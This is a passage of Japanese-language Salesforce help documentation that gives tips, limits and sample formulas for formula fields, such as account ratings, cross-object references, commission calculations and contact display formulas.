数式の差し込み項目
数式を作成する際のヒント
数式の演算子と関数

数式を作成する際のヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

デモを見る:  Formulas: Tips and Gotchas (数式: ヒントと問題)

• ユーザに表示される数式項目が、項目レベルセキュリティを使用して非表示
または参照のみに設定された項目を参照する場合があります。数式項目に機
密情報が含まれている場合は、項目レベルセキュリティを使用して非表示に
します。

• 活動の数式項目は、ToDo および行動のページレイアウトに追加することがで
きます。行動のページレイアウトにある ToDo に関連した数式項目には利用
価値がない場合があります。同様に、ToDo のページレイアウトにある行動に
関連した数式項目も役に立たない場合があります。

• レコードが ToDo か行動かを判別するには、IsTask 差し込み項目を使用します。たとえば、次のようにな
ります。
IF(IsTask, "This is a task", "This is an event")

日付および日付/時間数式項目の使用のヒント
数式での差し込み項目の使用のヒント
数値数式項目の使用のヒント
選択リストおよび複数選択リスト数式項目の使用のヒント
数式のレコードタイプを参照するためのヒント
テキスト数式項目の使用のヒント

関連トピック:

数式項目の作成
一般的な数式エラー
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日付および日付/時間数式項目の使用のヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

• 日付と時刻は常にユーザの時間帯を使って計算されます。
• 日付および日付/時間項目は、同じものとしては使用できません。名前だけで

は、項目が日付か日付/時間かがわからない場合があります。たとえば、[作
成日] と [最終更新日] は日付/時間項目ですが、[最終活動日] は日付項目で
す。日付/時間項目を日付項目に変換するには、DATEVALUE 関数を使用しま
す。

メモ: [作成日] 項目と [最終更新日] 項目には、日付と時間の両方では
なく、日付のみが表示されます。

• 期間を計算するには、日付項目または日付/時間項目と一緒に加算演算子と減算演算子を使用します。たと
えば、ある日付から別の日付を引いて 2 つの日付間の日数を計算します。同様に、ある日付/時間から別の
日付/時間を引くと、2 つの日付/時間の間の日数が数値として計算されます。推奨される使用方法は、NOW

または TODAY を参照してください。
• 別の日付または日付/時間を求めるには、加算演算子または減算演算子と数値を使用します。たとえば、

{!CreatedDate} + 5では、レコードの作成日から 5 日後の日付と時間を計算します。数式では指定した
データ型と同じデータ型を返します。日付項目 + (-) 数値では日付を、日付/時間項目 + (-) 数値では日付/時
間を返します。

• 小数を使用して日付を計算すると、Salesforce は小数点以下の数値を無視します。次に例を示します。
TODAY() + 0.7 は、TODAY() + 0  (今日) と同じです。
TODAY() + 1.7 は、TODAY() + 1  (翌日) と同じです。
TODAY() + (-1.8) は、TODAY() + (-1)  (前日) と同じです。

• 2 つの小数の値を最初に計算するには、かっこで囲みます。例:

TODAY() + 0.5 + 0.5 は、TODAY() + 0 + 0  (今日) と同じです。
TODAY() + (0.5+0.5) は、TODAY() + 1  (翌日) と同じです。

• 年はゼロ以外で -4713 ～ 9999 の値にする必要があります。

関連トピック:

数式を作成する際のヒント

数式での差し込み項目の使用のヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

• 代理管理者が数式からオブジェクトの差し込み項目にアクセスするには、カ
スタムオブジェクトに対するアクセス権を持っている必要があります。

• 取引先数式では、法人取引先のすべての項目を差し込み項目として使用でき
ます。ただし、[誕生日] や [メール] など、個人取引先専用の取引先項目は
使用できません。

• 関連オブジェクトの差し込み項目が含まれている数式項目は、積み上げ集計
項目には使用できません。
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• 数式項目および積み上げ集計項目では、外部オブジェクトの項目を参照できません。
• RecordType.Id を使用すると数式が読み取りにくくなる場合があります。これを使用する場合は、数式

にインラインコメントを書き込んで、わかりやすくしてください。
• レコードが ToDo か行動かを判別するには、IsTask 差し込み項目を使用します。たとえば、次のようにな

ります。
IF(IsTask, "This is a task", "This is an event")

• 数式でSalesforce組織の一意の識別子を参照するには、$Organization.Id差し込み項目を挿入します。こ
の差し込み項目は、レポート以外であれば、数式項目内の可能などの場所にでも表示できます。

• 差し込み項目によっては、ラジオボタンとして表示されていても、数式で参照されると選択リスト項目の
ように機能するものがあります。
次を参照する場合は、値「Read」、「Edit」、および「None」を数式で使用します。
– $UserRole.CaseAccessForAccountOwner

– $UserRole.OpportunityAccessForAccountOwner

– CaseAccessLevel (テリトリー上)

– OpportunityAccessLevel (テリトリー上)

次を参照する場合は、値「Read」、「Edit」、および「All」を数式で使用します。
– AccountAccessLevel (テリトリー上)

• 取引先の差し込み項目を参照する取引先責任者数式項目を作成する場合、項目を取引先責任者のページレ
イアウトに入れることはできますが、個人取引先のページレイアウトには入れないでください。この数式
項目を入れると、#Error の値が個人取引先ページに表示されます。

関連トピック:

数式を作成する際のヒント

数値数式項目の使用のヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

• 数式でパーセント項目を使用する場合は、パーセントを小数で表します。た
とえば、確率 100% には IF(Probability =1...) を、確率 90% には
IF(Probability =0.9...) を使用します。

• 数式では自動採番項目をテキスト項目として参照します。
• 数式の出力は、19 桁未満である必要があります。
• 数式には、数字、パーセント、および通貨を混在させることができます (例:

AnnualRevenue / NumberOfEmployees)。
• Salesforce は、数式項目内の数値に対して、切り上げタイブレークルールを使

用します。たとえば、12.345 は 12.35 に、-12.345 は -12.34 になります。

関連トピック:

数式を作成する際のヒント
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選択リストおよび複数選択リスト数式項目の使用のヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

• 選択リスト項目は、次の関数でのみ使用できます。
– ISPICKVAL — 選択リストの値を単一値と比較します。
– CASE — 選択リストの値を複数の値と比較します。
– TEXT — 選択リスト値をテキスト値に変換して、CONTAINS などテキスト値

をサポートする関数で使用できるようにします (フロー数式リソース、数
式項目、入力規則、およびワークフロー項目自動更新でのみ使用可能)。

• TEXT 関数は常に、選択リスト値を現在のユーザの言語ではなく、組織のマス
タ言語で返します。

• 複数選択リスト項目は、次の関数でのみ使用できます。
– INCLUDES

– ISBLANK

– ISNULL

– ISCHANGED (評価条件が [レコードが次の場合にルールを評価: 作成されたとき、および編集されるたび]

に設定されている割り当てルール、入力規則、ワークフロー項目自動更新、およびワークフロールール
のみ)

– PRIORVALUE (評価条件が [レコードが次の場合にルールを評価: 作成されたとき、および編集されるたび]

に設定されている割り当てルール、入力規則、ワークフロー項目自動更新、およびワークフロールール
のみ)

関連トピック:

数式を作成する際のヒント

数式のレコードタイプを参照するためのヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

異なるワークフロールール、入力規則、ルックアップ検索条件を他のレコード
タイプに適用する必要がある場合は、数式のレコードタイプを参照します。次
のような操作が可能です。
• 取引先の作成時にユーザが選択する取引先レコードタイプに基づいて、異な

るチームにメールを送信する取引先のワークフロールールを作成する。
• 北米セールスチームのメンバーのみが国内レコードタイプで商談を保存でき

る商談の入力規則を作成する。
可能な場合、RecordType.Name ではなく、RecordTypeId を使用して、特定
のレコードタイプを参照します。RecordType.Name により、数式が読みやす
くなりますが、レコードタイプの ID が変更になることはないため、レコードタ
イプの名前が変わるたびに、数式を更新する必要があります。また、
RecordType.Name ではレコードタイプへのクロスオブジェクト参照が必要で
すが、RecordTypeId では不要です。ただし、ID は組織全体で同じではないた
め、組織全体 (Sandbox と本番間など) で数式をリリースする場合は
RecordType.Name を使用します。
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デフォルト値の数式を除き、数式では $RecordType を使用しないでください。代わりに、オブジェクトで
RecordType 差し込み項目 (Account.RecordType.Name など) または RecordTypeId 項目を使用します。

関連トピック:

数式を作成する際のヒント

テキスト数式項目の使用のヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

• HYPERLINK関数を使用する前に、ハイパーリンクとカスタムリンクの違いにつ
いて考慮してください。
– ハイパーリンク数式項目は、リストビューおよびレポートに表示できる

その他のカスタム項目とほとんど同じです。
– カスタムリンクは、詳細ページの事前定義されたセクションに表示され

ます。ハイパーリンクの数式項目は、詳細ページのどこにでも指定した
場所に表示できます。

– カスタムリンクを使用すると、ウィンドウの位置、別のポップアップ位
置でのオープンなどのプロパティを表示できます。また、ハイパーリン
ク数式項目は、デフォルトでは新しいブラウザウィンドウで開きますが、別のターゲットウィンドウま
たはフレームを指定することもできます。

– 数式でカスタムリンクを参照することは可能です。カスタムリンクを削除する前には、数式項目から参
照されていないことを確認してください。

– /rpt/reportwizard.jspなどSalesforceページへの相対 URL が含まれるハイパーリンク数式項目は、リ
ストビュー、レポート、および関連リストに追加できます。ただし、検索レイアウトに追加する場合
は、ハイパーリンク関数でサーバ名と https://を含む完全 URL を使用してください。数式項目は、検
索結果レイアウトには使用できません。

• 数式項目にテキストを挿入するには、テキストを引用符で囲みます。たとえば、「CASE: 123」を表示するに
は、"CASE: "& CaseNumber__c という数式を使用します。

• 引用符またはバックスラッシュ (\) 文字を出力にリテラル値として挿入するには、その前にバックスラッ
シュを使用します。たとえば、数式内の "Trouble\\Case \"Ticket\": "は、詳細ページで「Trouble\Case

"Ticket": 」と表示されます。

関連トピック:

数式を作成する際のヒント
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クロスオブジェクト数式項目とは?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

クロスオブジェクト数式項目とは、2 つの関連オブジェクトにまたがり、そのオ
ブジェクトで差し込み項目を参照する数式です。クロスオブジェクト数式項目
は、オブジェクトが主従関係の従側の場合は主 (「親」) オブジェクトから、差
し込み項目を参照できます。クロスオブジェクト数式は参照関係にも使用でき
ます。
最大 10 リレーション離れたオブジェクトの項目を参照できます。デフォルト値
の作成時を除き、数式が使用されるすべての場所でクロスオブジェクト数式項
目を使用できます。

メモ: 別のオブジェクトの項目を参照する数式を作成し、ページレイアウ
トにその数式を表示する場合、ユーザは、そのオブジェクトレコードへの
アクセス権がなくても、オブジェクトでその項目を表示できます。たとえ
ば、ケースオブジェクトに取引先項目を参照する数式項目を作成し、ケー
スページレイアウトにその数式を表示する場合、ユーザは、その取引先レ
コードへのアクセス権がなくても、その項目を表示できます。

[簡単な数式] タブでのクロスオブジェクト数式の作成
[高度な数式] タブでのクロスオブジェクト数式の作成
クロスオブジェクト数式の作成のヒント

関連トピック:

数式項目の作成

[簡単な数式] タブでのクロスオブジェクト数式の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

クロスオブジェクト数式
を作成または変更する
• 「アプリケーションの

カスタマイズ」

[簡単な数式] タブで数式を作成するときにクロスオブジェクト数式を作成するに
は、またがっているオブジェクトのリレーション名に続いて参照する項目を入
力します。各オブジェクトのリレーション名と項目をピリオドで区切ります。

例: たとえば、ケースオブジェクトの数式項目でケースに関連付けられた
取引先責任者の [取引先名]を参照するには、「Contact.Account.Name」
と入力します。ラベルではなく、必ずオブジェクトのリレーション名を使
用してください。リレーション名はオブジェクト名と同じ場合が多いです
が、正確にはリレーション項目の項目名です。
Account オブジェクトから親取引先名を参照する場合、構文は Parent.Name

であり、Account.Name ではありません。カスタムオブジェクトを参照す
る場合は、2 つのアンダースコアと文字 rを名前に追加します。たとえば、
Position__r.title__cは、Position カスタムオブジェクトの [役職]項目
(title__c) を参照します。

メモ: 別のオブジェクトの項目を参照する数式を作成し、ページレイ
アウトにその数式を表示する場合、ユーザは、そのオブジェクトレ
コードへのアクセス権がなくても、オブジェクトでその項目を表示で
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きます。たとえば、ケースオブジェクトに取引先項目を参照する数式項目を作成し、ケースページ
レイアウトにその数式を表示する場合、ユーザは、その取引先レコードへのアクセス権がなくても、
その項目を表示できます。

関連トピック:

[高度な数式] タブでのクロスオブジェクト数式の作成
クロスオブジェクト数式項目とは?

[高度な数式] タブでのクロスオブジェクト数式の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

クロスオブジェクト数式
を作成または変更する
• 「アプリケーションの

カスタマイズ」

[高度な数式] タブで数式を作成する場合、またはワークフロー、入力規則、割り
当て、自動レスポンス、またはエスカレーションルールなどの承認やルールの
数式を作成する場合にクロスオブジェクト数式を作成するには、[項目の挿入]を
クリックしてから、関連オブジェクトをクリックして、その項目のリストを表
示します。関連オブジェクトは記号「>」で示されます。

メモ: 別のオブジェクトの項目を参照する数式を作成し、ページレイアウ
トにその数式を表示する場合、ユーザは、そのオブジェクトレコードへの
アクセス権がなくても、オブジェクトでその項目を表示できます。たとえ
ば、ケースオブジェクトに取引先項目を参照する数式項目を作成し、ケー
スページレイアウトにその数式を表示する場合、ユーザは、その取引先レ
コードへのアクセス権がなくても、その項目を表示できます。

例: Profile.Name 差し込み項目の値は、それを参照するクロスオブジェ
クト数式項目のコンテキストにより異なります。詳細ページでは、値はも
ちろんプロファイル名ですが、リストビューとレポートでは、プロファイ
ル名ではなく、関連プロファイルの内部値になります。数式で
Profile.Nameを使用する場合、数式が常に意図する結果を返すように、
OR 関数内で使用します。次に例を示します。

IF

(OR

(LastModifiedBy.Profile.Name = "Standard User",

LastModifiedBy.Profile.Name = "PT2"),

"Standard", "Not Standard")

上記のいずれも、$Profile グローバル変数が参照するプロファイル名に
は適用されません。

関連トピック:

[簡単な数式] タブでのクロスオブジェクト数式の作成
クロスオブジェクト数式項目とは?
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クロスオブジェクト数式の作成のヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

• 通貨項目を参照するクロスオブジェクト数式は、値を数式が含まれるレコー
ドの通貨に換算します。参照されている通貨項目がカスタム設定の項目の場
合は、項目値がレコードの通貨に換算されません。

• Salesforceでは、クロスオブジェクト数式にオブジェクトあたり最大 10 個の一
意のリレーションが許容されます。この制限は、すべての数式項目、ルー
ル、およびルックアップ検索条件の累計です。たとえば、商談に対する 2 つ
の異なる数式が関連付けられている取引先の 2 つの異なる項目を参照する場
合、一意の (商談から取引先への) リレーションは 1 つのみ存在します。

• 積み上げ集計項目では、クロスオブジェクト数式を参照できません。
• クロスオブジェクト数式で、活動に関連するオブジェクトの差し込み項目を参照することはできません。

たとえば、取引先責任者と取引先の差し込み項目は ToDo および行動の数式では使用できません。

Owner 項目の使用
一部のオブジェクトでは、User、Queue、Calendar など、Owner 項目に対して異なるオブジェクト種別をサポー
トしています。この動作をサポートするオブジェクトでは、Owner を使用してクロスオブジェクト数式を作成
する場合に、参照している所有者種別を明確にする必要があります。
たとえば、所有者のメールを必要としキューを使用しない場合、数式は Owner:User.Email となります。
キューを使用する場合、数式は次のようになります。
IF( ISBLANK( Owner:User.Id ), Owner:Queue.QueueEmail, Owner:User.Email )

このように、[高度な数式] タブの [リード] で Owner オブジェクト項目を選択します。

メモ:

• Owner 参照は、Visualforce ページではサポートされません。たとえば、Case をコントローラとするペー
ジでは、{!Case.Owner:User.FirstName}を含めることはできません。ただし、Visualforceページで
既存の展開数式を含めることはできます。たとえば、Case のカスタムテキスト数式 MyFormula__cの
値が Owner:User.FirstName である場合、Visualforceページで {!Case.MyFormula__c} を含めるこ
とはできます。

• Owner 参照は、Queue オブジェクトではサポートされません。たとえば、Owner:Queue.Owner.Email

を参照することはできません。
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• 数式に Owner:User.fieldname と Owner:Queue.fieldname が含まれていると、この両方がクロ
スオブジェクト数式のオブジェクトあたりの一意のリレーション制限である 10 個にカウントされま
す。

• Queue をサポートしないオブジェクトでは、Owner の参照時に User が暗黙的に使用されます。数式は、
Owner:User.fieldname ではなく、Owner.fieldname である必要があります。

Profile.Name の使用
Profile.Name 差し込み項目の値は、それを参照するクロスオブジェクト数式項目のコンテキストにより異
なります。詳細ページでは、値はもちろんプロファイル名ですが、リストビューとレポートでは、プロファイ
ル名ではなく、関連プロファイルの内部値になります。数式で Profile.Name を使用する場合、数式が常に
意図する結果を返すように、OR 関数内で使用します。次に例を示します。
IF

(OR
(LastModifiedBy.Profile.Name = "Standard User", LastModifiedBy.Profile.Name =

"PT2"),
"Standard", "Not Standard")

上記のいずれも、$Profile グローバル変数が参照するプロファイル名には適用されません。

関連トピック:

[高度な数式] タブでのクロスオブジェクト数式の作成
クロスオブジェクト数式項目とは?

数式項目の制限および制約

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

数式項目を作成する前に、次の制限事項に注意してください。
• 数式項目には次の制限があります。

– 文字数制限 — 数式項目には、スペース、改行文字、コメントを含む最大
3,900 文字を含めることができます。数式にこれを上回る数の文字が必要
な場合は、個別に数式項目を作成し、他の数式項目でそれらの項目を参
照してください。

メモ: 数式の評価後に表示される最大文字数は、1,300です。

– 保存サイズ制限 — 数式項目は保存時に 4,000 バイト以下である必要があります。数式でマルチバイト文
字を使用する場合、保存サイズは文字数と一致しません。

– コンパイルサイズ制限 — 数式項目はコンパイル時に 5,000 バイト以下である必要があります。コンパイ
ルサイズは、参照するすべての項目、値、数式を含む、数式のサイズ (バイト数) です。コンパイルサイ
ズと文字数制限の間に直接の相関関係はありません。TEXT、DATEVALUE、DATETIMEVALUE、DATE など、一
部の関数ではコンパイルサイズが著しく大きくなります。

ヒント: 数式を変更してこれらの制限を回避する方法についてのヒントは、「Tips for Reducing Formula

Size」を参照してください。
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• レコードタイプのデフォルト値の数式はそのレコードタイプの項目のみを参照できます。ただし、あるレ
コードタイプの承認やルールの数式項目および数式では、そのレコードタイプ、および参照関係または主
従関係によって関連付けられているすべてのレコードを参照できます。たとえば、商談の入力規則の数式
は取引先およびキャンペーン、および商談の差し込み項目を参照できます。取引先の数式項目はケースの
項目を参照できます。

• ロングテキストエリア、暗号化、および [説明] 項目は、数式では使用できません。
• 項目の値が、参照先の別の数式に依存することはできません。
• 数式で参照されている項目は削除できません。削除する前に数式からその項目を削除してください。
• キャンペーン統計項目は、項目自動更新、承認プロセス、ワークフロールール、または入力規則の数式か

らは参照できませんが、カスタム数式項目からは参照できます。

関連トピック:

数式を作成する際のヒント
数式項目の作成

高度な数式項目の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

数式項目の詳細を参照す
る
• 「設定・定義を参照す

る」

数式項目を作成、変更、
または削除する
• 「アプリケーションの

カスタマイズ」

各自の目的のために使用および変更できる各種アプリケーションの数式項目の
例を確認します。
このドキュメントには、次のトピックのカスタム数式サンプルが含まれていま
す。サンプルに含まれている関数の使用方法についての詳細は、「数式の演算
子と関数」 (ページ 5502)を参照してください。

取引先管理の数式サンプル
取引先メディアサービスの数式サンプル
ケース管理の数式サンプル
手数料計算の数式サンプル
取引先責任者管理の数式サンプル
データ分類の数式サンプル
日付数式のサンプル
割引の数式サンプル
従業員サービスの数式サンプル
経費追跡の数式サンプル
金融計算の数式サンプル
画像リンクの数式サンプル
インテグレーションリンクの数式サンプル
リード管理の数式サンプル
総計値の数式サンプル
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商談管理の数式サンプル
価格設定の数式サンプル
スコア計算の数式サンプル

関連トピック:

数式: こまった時は...?

数式を作成する際のヒント

取引先管理の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

取引先評価

この数式は、[年間売上]、[国(請求先)]、および [種別]を評価して、「Hot (見
込みあり)」、「Warm (将来見込み有り)」、「Cold (見込み無し)」のいずれかの値
を割り当てます。

IF (AND (AnnualRevenue > 10000000,
CONTAINS (CASE (BillingCountry, "United States", "US", "America", "US", "USA", "US", "NA"),
"US")),
IF(ISPICKVAL(Type, "Manufacturing Partner"), "Hot",
IF(OR (ISPICKVAL (Type, "Channel Partner/Reseller"),
ISPICKVAL(Type, "Installation Partner")), "Warm", "Cold")),
"Cold")

さらに、クロスオブジェクト数式を使用して、取引先責任者オブジェクトからこの [取引先評価] 数式項目を参
照できます。
Account.Account_Rating__c

取引先の地域

この数式は、取引先の [都道府県(請求先)] に基づいて、「North (北部)」、「South (南部)」、「East (東部)」、
「West (西部)」、「Central (中部)」のいずれかのテキスト値を返します。
IF(ISBLANK(BillingState), "None",
IF(CONTAINS("AK:AZ:CA:HA:NV:NM:OR:UT:WA", BillingState), "West",
IF(CONTAINS("CO:ID:MT:KS:OK:TX:WY", BillingState), "Central",
IF(CONTAINS("CT:ME:MA:NH:NY:PA:RI:VT", BillingState), "East",
IF(CONTAINS("AL:AR:DC:DE:FL:GA:KY:LA:MD:MS:NC:NJ:SC:TN:VA:WV", BillingState), "South",
IF(CONTAINS("IL:IN:IA:MI:MN:MO:NE:ND:OH:SD:WI", BillingState), "North", "Other"))))))
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契約の経過期間

この数式は、取引先との契約が有効になってからの経過日数を計算します。契約の [状況] が「Activated (有
効)」でない場合は、この項目は空白です。
IF(ISPICKVAL(Contract_Status__c, "Activated"),
NOW() - Contract_Activated_Date__c, null)

取引先メディアサービスの数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

BBC™ ニュース検索

この数式は、[取引先名] に基づく BBC ニュース検索サイトへのリンクを作成し
ます。

HYPERLINK(
"http://www.bbc.co.uk/search/news/?q="&Name,
"BBC News")

Bloomberg™ ニュース検索
この数式は、Bloomberg の Web サイトに掲載される取引先の株式コードへのリンクを作成します。
HYPERLINK(
"http://www.bloomberg.com/markets/symbolsearch?query="&TickerSymbol,
"Bloomberg News")

CNN™ ニュース検索

この数式は、[取引先名] を使用する CNN ニュース検索サイトへのリンクを作成します。
HYPERLINK(
"http://http://www.cnn.com/search/?query="&Name,
"CNN News")

MarketWatch™ 検索
この数式は、Marketwatch.com の Web サイトに掲載される取引先の株式コードへのリンクを作成します。
HYPERLINK(
"http://www.marketwatch.com/investing/stock/"&TickerSymbol,
"Marketwatch")
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Google™ 検索

この数式は、[取引先名] を使用する Google 検索サイトへのリンクを作成します。
HYPERLINK(
"http://www.google.com/#q="&Name,
"Google")

Google ニュース検索

この数式は、[取引先名] を使用する Google ニュース検索サイトへのリンクを作成します。
HYPERLINK(
"http://news.google.com/news/search?en&q="&Name,
"Google News")

Yahoo!™ 検索

この数式は、[取引先名] を使用する Yahoo! 検索サイトへのリンクを作成します。
HYPERLINK(
"http://search.yahoo.com/search?p="&Name,
"Yahoo Search")

Yahoo! ニュース検索

この数式は、[取引先名] を使用する Yahoo! ニュース検索サイトへのリンクを作成します。
HYPERLINK(
"http://news.search.yahoo.com/search/news?p="&Name,
"Yahoo News")

ケース管理の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

自動ダイヤル
この数式は、クリックすると自動的に電話をかけられる、リンク可能な電話番
号項目を作成します。この例では、"servername" と "call" に、ダイヤルす
るときに使用するダイヤルツールの名前とコマンドを指定します。差し込み項
目の Id は、取引先責任者、リード、または取引先レコードを表す識別子を挿
入します。最初の [電話] 差し込み項目でダイヤルツールに通話先番号を伝え、最後の [電話] 差し込み項目
では、[電話] 項目の値を、ユーザがダイヤルするときにクリックするリンク可能なテキストとして使用しま
す。
HYPERLINK("http://servername/call?id=" & Id & "&phone=" &

Phone, Phone)
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ケースの分類
この数式は、ケースの対応期間カスタムテキスト項目の値に応じて、「RED (赤)」、「YELLOW (黄)」、「GREEN

(緑)」のいずれかのテキスト値を表示します。
IF(DaysOpen__c > 20, "RED",
IF(DaysOpen__c > 10, "YELLOW",
"GREEN") )

ケースデータの完全性の追跡

この数式は、データを含む特定のカスタム項目の割合 (%) を計算します。[問題番号] と [重大度番号] の 2 つ
のカスタム数値項目の値を確認します。項目が空の場合は、「0」の値が返されます。各項目に値が含まれる
場合はそれぞれ「1」の値が返され、この合計に 50 を乗算して、データを含む項目の割合を示します。
(IF(ISBLANK(Problem_Num__c), 0, 1) + IF(ISBLANK(Severity_Num__c ), 0,1)) * 50

エージェントの推奨指示メッセージ
この数式は、過去の購入に基づいて、エージェントにクロスセルを案内します。
CASE(Product_Purch__c,
"Printer", "Extra toner cartridges", "Camera", "Memory cards",
"Special of the day")

推奨案内

この数式は、コンピュータ再販業者のサポート履歴に基づいて商品を推奨します。[問題] カスタム項目が項
目と一致すると、数式項目が推奨を返します。
CASE(Problem__c,
"Memory", "Suggest new memory cards", "Hard Drive failure", "Suggest new hard drive with
tape backup",
"")

手数料計算の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

商談の手数料

次の例は、手数料を商談 [金額] の一律 2% とするシンプルな数式です。

IF(ISPICKVAL(StageName, "Closed Won"),
ROUND(Amount *0.02, 2), 0)
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この例は、「Closed Won (商談成立)」フェーズの商談すべての手数料を計算します。この項目の値は、完了/成
立した商談に 0.02 を掛け合わせた金額です。進行中または不成立の商談の場合は、手数料の値が 0 になりま
す。

取引規模による手数料
この数式は、取引規模に応じた手数料率を計算し、取引が 10 万件を超える場合は 9% の手数料率、10 万件以下
の場合は 8% の手数料率を返します。
IF(Amount > 100000, 0.09, 0.08 )

一定額以上の手数料

この数式は、手数料が 100 万以上の場合に「YES」の値を割り当てます。これは、[手数料] というカスタム通
貨項目を使用するテキスト数式項目です。
IF(Commission__c >=

1000000, "YES", "NO")

最大手数料
この数式では、価格に対するパーセントでのユーザの手数料、取引先に保存されている割引率に価格を乗算し
た数値、または 100 ドルのうち、最も大きい数値に基づいて納入商品に対して記録する手数料を判断します。
この例では、ユーザと納入商品それぞれにカスタムパーセント項目があることを前提としています。
MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)

取引先責任者管理の数式サンプル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

サンプルに含まれている関数の使用方法についての詳細は、「数式の演算子と
関数」 (ページ 5502)を参照してください。

取引先責任者の取引先割引率

このパーセント数式は、[取引先責任者] ページに取引先の [割引率] 項目を表示
します。

Account.Discount_Percent__c

取引先責任者の取引先名

この数式は、[取引先責任者] ページに [取引先名] 標準項目を表示します。
Account.Name
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取引先責任者の取引先電話番号

この数式は、[取引先責任者] ページに [取引先 電話] 標準項目を表示します。
Account.Phone

取引先責任者の取引先評価

この数式を使用して、[取引先責任者] ページに [取引先 評価] 項目を表示します。
CASE(Account.Rating, "Hot", "Hot", "Warm", "Warm", "Cold", "Cold", "Not Rated")

取引先責任者の取引先 Web サイト

この数式は、[取引先責任者] ページに [取引先 Web サイト] 標準項目を表示します。
Account.Website

取引先 Web サイトの URL が長い場合は、HYPERLINK 関数を使用して、URL の代わりに「Click Here (こちらをクリッ
ク)」などのラベルを表示します。次に例を示します。
IF(Account.Website="", "",
IF(
OR(LEFT(Account.Website, 7) = "http://",LEFT(Account.Website, 8) = "https://"),
HYPERLINK( Account.Website , "Click Here" ),
HYPERLINK( "http://" & Account.Website , "Click Here" )
)
)

また、URL 項目に必要な「http://」や「https://」が含まれていない場合、このいずれかを追加します。

取引先責任者の LinkedIn™ プロフィール
送信される取引先責任者のプロファイルページに、その責任者の LinkedIn プロフィールへのリンクが表示され
るように設定できます。手順は、次のとおりです。
1. 取引先責任者のオブジェクト管理設定から、[ボタン、リンク、およびアクション] に移動します。
2. [新規ボタンまたはリンク]をクリックします。
3. このリンクの [表示ラベル] を入力します (「LinkedInLink」など)。
4. コンテンツボックスにこの数式を入力します。

http://www.linkedin.com/search/fpsearch?type=people&keywords
={!Contact.FirstName}+{!Contact.LastName}

5. [保存] をクリックします。
リンクが表示されるように、このリンクを取引先責任者のページレイアウトに追加します。
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取引先責任者の ID 番号
この数式で、名前の最初の 5 文字と、社会保障番号の最後の 4 文字が、ダッシュで区切られて表示されます。
この例では、SSN というテキストカスタム項目を使用しています。
TRIM(LEFT(LastName, 5)) &

"-" & TRIM(RIGHT(SSN__c, 4))

取引先責任者の優先電話

この数式は、[Preferred Phone (優先電話)] カスタム選択リストで選択されたオプションに基づいて、取
引先責任者関連リストに取引先責任者の優先連絡方法 (勤務先電話、自宅電話、携帯電話) を表示します。
CASE(Preferred_Phone__c,
"Work", "w. " & Phone,
"Home", "h. " & HomePhone,
"Mobile", "m. " & MobilePhone,
"No Preferred Phone")

取引先責任者の優先度
この数式は、取引先評価と取引先責任者の役職に基づいて、取引先責任者の重要度を評価します。取引先評価
が Hot の場合、または役職が Executive で始まる場合は、優先度が高くなります (P1)。取引先評価が Warm

の場合、または役職が VP で始まる場合は、優先度が中程度になり (P2)、取引先評価が Cold の場合は優先度
が低くなります (P3)。
IF(OR(ISPICKVAL(Account.Rating, "Hot"), CONTAINS(Title, "Executive")), "P1",

IF(OR(ISPICKVAL(Account.Rating, "Warm"), CONTAINS(Title, "VP")), "P2",

IF(ISPICKVAL(Account.Rating, "Cold"), "P3",

"P3")
)
)

取引先責任者の Yahoo! ID

で、誰かがサービスにログインしていることを示す、クリック可能な Yahoo! Messenger アイコンが表示されま
す。ユーザは、その人物と Yahoo! Messenger の会話を起動するために、このアイコンをクリックできます。この
例では、Yahoo! Messenger ID を格納できる取引先責任者の [Yahoo 名]というカスタムテキスト項目を使用して
います。
HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,

IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c &
"&m;=g&t;=0", "Yahoo"))
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住所の動的書式設定
この数式項目では、国に応じた適切なスペースと改行を含む、標準形式で書式化された取引先責任者のメール
アドレスが表示されます。
CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,

